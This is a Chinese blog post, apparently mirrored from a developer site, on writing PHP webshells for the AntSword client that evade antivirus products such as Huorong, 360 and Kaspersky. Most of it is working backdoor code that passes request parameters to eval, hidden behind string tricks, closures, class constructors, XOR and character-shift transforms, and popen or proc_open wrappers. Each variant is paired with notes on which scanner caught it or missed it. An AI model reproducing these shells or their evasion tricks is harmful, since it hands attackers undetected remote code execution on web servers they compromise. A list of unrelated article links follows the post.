当前位置: 首页 > news >正文

蚁剑编码器编写——php木马免杀

蚁剑编码器编写——php木马免杀
我的想法是 木马要先免杀,能够落地,再去考虑流量层面的问题

举几个例子演示一下

命令执行与代码执行是有比较大的区别,蚁剑执行的是php代码,而system,proc_open,passthru,exec,shell_exec,反引号等都是命令执行,举个例子

<?php eval($_REQUEST["a"]);?> //蚁剑可以连接成功,但是无法直接拼接执行命令
<?php passthru($_REQUEST["a"]);?>//蚁剑会显示数据为空,但是可以拼接执行命令

在这里插入图片描述
而能够执行多行php代码的函数也就只有eval,无论蚁剑还是godzilla,都是通过代码执行进而命令执行,所以你会看到所有的明文马儿里面都是有eval函数的,那么也就是说eval函数是无法替换的
那么就会有两个方面,加密再解密eval函数,更改eval写法

更改eval写法,举个例子

<?php eval("/*echo*/".$_REQUEST["a"]);?>

在这里插入图片描述
或者

<?php eval($_REQUEST["a"]."#aaa");?>

也是可以的。eval本身是支持字符串连接的
在这里插入图片描述
当然了,这已经不免杀了,那么加解密再来一下,
base64

<?php eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");?>

死在火绒手里
那么再加一个参数

<?php eval(base64_decode(base64_encode($_REQUEST["a"])).$_REQUEST["b"]."#aaa");?>

又死了

加个条件判断

<?php if($_REQUEST["b"]=null){eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");}else{echo $_REQUEST["b"];}
?>

继续

<?php
$code='$a;';$func=function ($a) use ($code){return eval($code);};echo $func(eval($_REQUEST["a"]))?>

又死在火绒的刀下
多加一层

<?php
function a($b){return function ($c) use($b){return eval($c);};
}
$d=a('aaa');
echo $d(eval($_REQUEST["a"]))
?>

火绒的刀不太硬啊
在这里插入图片描述

魔术方法

<?php
class test {public function __construct($b = null) {if ($b !== null) {eval($b);}}
}
$b=$_REQUEST["a"];
$test = new Test($b);
?>

在这里插入图片描述
当然了,360的刀到目前来说还是挺硬的

来个简单的加解密

<?php
function xorEncryptDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for ($i = 0; $i < strlen($data); $i++) {$keyChar = $key[$i % $keyLength];$result .= chr(ord($data[$i]) ^ ord($keyChar));}return $result;
}$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo eval($decryptedData);
?>

也不行,那我加个@

<?php
function xorEncryptDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for ($i = 0; $i < strlen($data); $i++) {$keyChar = $key[$i % $keyLength];$result .= chr(ord($data[$i]) ^ ord($keyChar));}return $result;
}$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo @eval($decryptedData);
?>

在这里插入图片描述

这也是成功拿下,当然了,你们要是把之前的马儿也加个@,或许有奇效

继续绕一下卡巴斯基
外面一层用其他函数替代

<?php
$a="aaaa";
$a=$_REQUEST["a"];
$handle = popen(@eval($a), 'r');
if ($handle) {while (!feof($handle)) {$buffer = fgets($handle);echo $buffer;}pclose($handle);
}

在这里插入图片描述

那再换一个

<?php
$descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w")
);
$a=$_REQUEST["a"];
$process = proc_open(@eval($a), $descriptorspec, $pipes, NULL, NULL);if (is_resource($process)) {$stdout = stream_get_contents($pipes[1]);fclose($pipes[1]);fclose($pipes[0]);echo "$stdout";$return_value = proc_close($process);}

擦擦擦 竟然被360杀了,加解密一次

<?php
function xorEncryptDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for ($i = 0; $i < strlen($data); $i++) {$keyChar = $key[$i % $keyLength];$result .= chr(ord($data[$i]) ^ ord($keyChar));}return $result;
}$descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w")
);
$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);$process = proc_open(@eval($a), $descriptorspec, $pipes, NULL, NULL);if (is_resource($process)) {$stdout = stream_get_contents($pipes[1]);fclose($pipes[1]);fclose($pipes[0]);echo "$stdout";$return_value = proc_close($process);}

在这里插入图片描述
也是成功拿下,当然了,多写几个加密套在一起都可以免杀

chr配合ord加解密

<?php
function simpleTransform($str, $offset = 1) {$transformed = '';for ($i = 0; $i < strlen($str); $i++) {$transformed .= chr((ord($str[$i]) + $offset) % 256);}return $transformed;
}$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {$reversed = '';for ($i = 0; $i < strlen($str); $i++) {$reversed .= chr((ord($str[$i]) - $offset + 256) % 256);}return $reversed;
}$reversed = reverseTransform($transformed, 3);
echo eval($reversed);

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • DID差分模型案例集(传统DID、队列DID、渐近DID、空间DID、PSM-DID)
  • 使用 FFmpeg 处理视频:简介、常用命令及在 C++ 中调用 FFmpeg
  • jmeter-beanshell学习3-beanshell获取请求报文和响应报文
  • dify/api/models/workflow.py文件中的数据表
  • 防火墙安全策略练习
  • uiautomation: debug记录
  • 【Pytorch】Conda环境pack打包迁移报错处理
  • 【面向就业的Linux基础】从入门到熟练,探索Linux的秘密(十二)-管道、环境变量、常用命令
  • 科研绘图系列:R语言径向柱状图(Radial Bar Chart)
  • 集成sa-token前后端分离部署配置corsFliter解决跨域失效的真正原因
  • uboot学习:(三)目录分析
  • vue对axios进行请求响应封装
  • 多输入多输出 | Matlab实现Transformer多输入多输出预测
  • 全网最适合入门的面向对象编程教程:14 类和对象的 Python 实现-类的静态方法和类方法,你分得清吗?
  • 视频调整帧率、分辨率+音画同步
  • __proto__ 和 prototype的关系
  • 【391天】每日项目总结系列128(2018.03.03)
  • Elasticsearch 参考指南(升级前重新索引)
  • HTML中设置input等文本框为不可操作
  • js递归,无限分级树形折叠菜单
  • JS基础篇--通过JS生成由字母与数字组合的随机字符串
  • Linux快速配置 VIM 实现语法高亮 补全 缩进等功能
  • thinkphp5.1 easywechat4 微信第三方开放平台
  • 程序员该如何有效的找工作?
  • 关于字符编码你应该知道的事情
  • 官方新出的 Kotlin 扩展库 KTX,到底帮你干了什么?
  • 基于 Ueditor 的现代化编辑器 Neditor 1.5.4 发布
  • 看图轻松理解数据结构与算法系列(基于数组的栈)
  • 漂亮刷新控件-iOS
  • 如何进阶一名有竞争力的程序员?
  • 通过git安装npm私有模块
  • 小而合理的前端理论:rscss和rsjs
  • 译自由幺半群
  • 在electron中实现跨域请求,无需更改服务器端设置
  • # centos7下FFmpeg环境部署记录
  • #数据结构 笔记一
  • (16)UiBot:智能化软件机器人(以头歌抓取课程数据为例)
  • (八)c52学习之旅-中断实验
  • (笔试题)合法字符串
  • (附源码)springboot宠物医疗服务网站 毕业设计688413
  • (附源码)springboot家庭财务分析系统 毕业设计641323
  • (三) prometheus + grafana + alertmanager 配置Redis监控
  • (三)Hyperledger Fabric 1.1安装部署-chaincode测试
  • (十一)图像的罗伯特梯度锐化
  • (四)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (太强大了) - Linux 性能监控、测试、优化工具
  • (转)IOS中获取各种文件的目录路径的方法
  • (转)Oracle 9i 数据库设计指引全集(1)
  • (转载)(官方)UE4--图像编程----着色器开发
  • *_zh_CN.properties 国际化资源文件 struts 防乱码等
  • *p++,*(p++),*++p,(*p)++区别?
  • .bat批处理(十一):替换字符串中包含百分号%的子串
  • .mysql secret在哪_MYSQL基本操作(上)
  • .NET Core 通过 Ef Core 操作 Mysql
  • .NET Core中的去虚